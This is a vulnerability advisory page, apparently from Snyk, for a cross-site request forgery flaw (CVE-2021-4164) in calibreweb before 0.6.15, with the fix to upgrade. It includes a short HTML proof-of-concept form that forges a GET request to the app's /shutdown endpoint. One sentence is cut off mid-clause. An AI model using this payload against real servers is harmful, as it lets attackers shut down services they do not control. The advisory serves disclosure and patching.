Cross-site Request Forgery (CSRF) Affecting calibreweb package, versions [,0.6.15)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.12% (49th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-CALIBREWEB-2359023
- published 23 Jan 2022
- disclosed 21 Jan 2022
- credit Scaramouche
Introduced: 21 Jan 2022
CVE-2021-4164 Open this link in a new tabHow to fix?
Upgrade calibreweb to version 0.6.15 or higher.
Overview
calibreweb is a Web app for browsing, reading and downloading eBooks stored in a Calibre database.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) by accepting GET requests instead of POST on various endpoints, allowing
###PoC
<form action="http://127.0.0.1:8083/shutdown" method="GET">
<input type="hidden" name="parameter" value="1"/>
<input type="submit" value="Shutdown"/>
</form>
References
CVSS Scores
version 3.1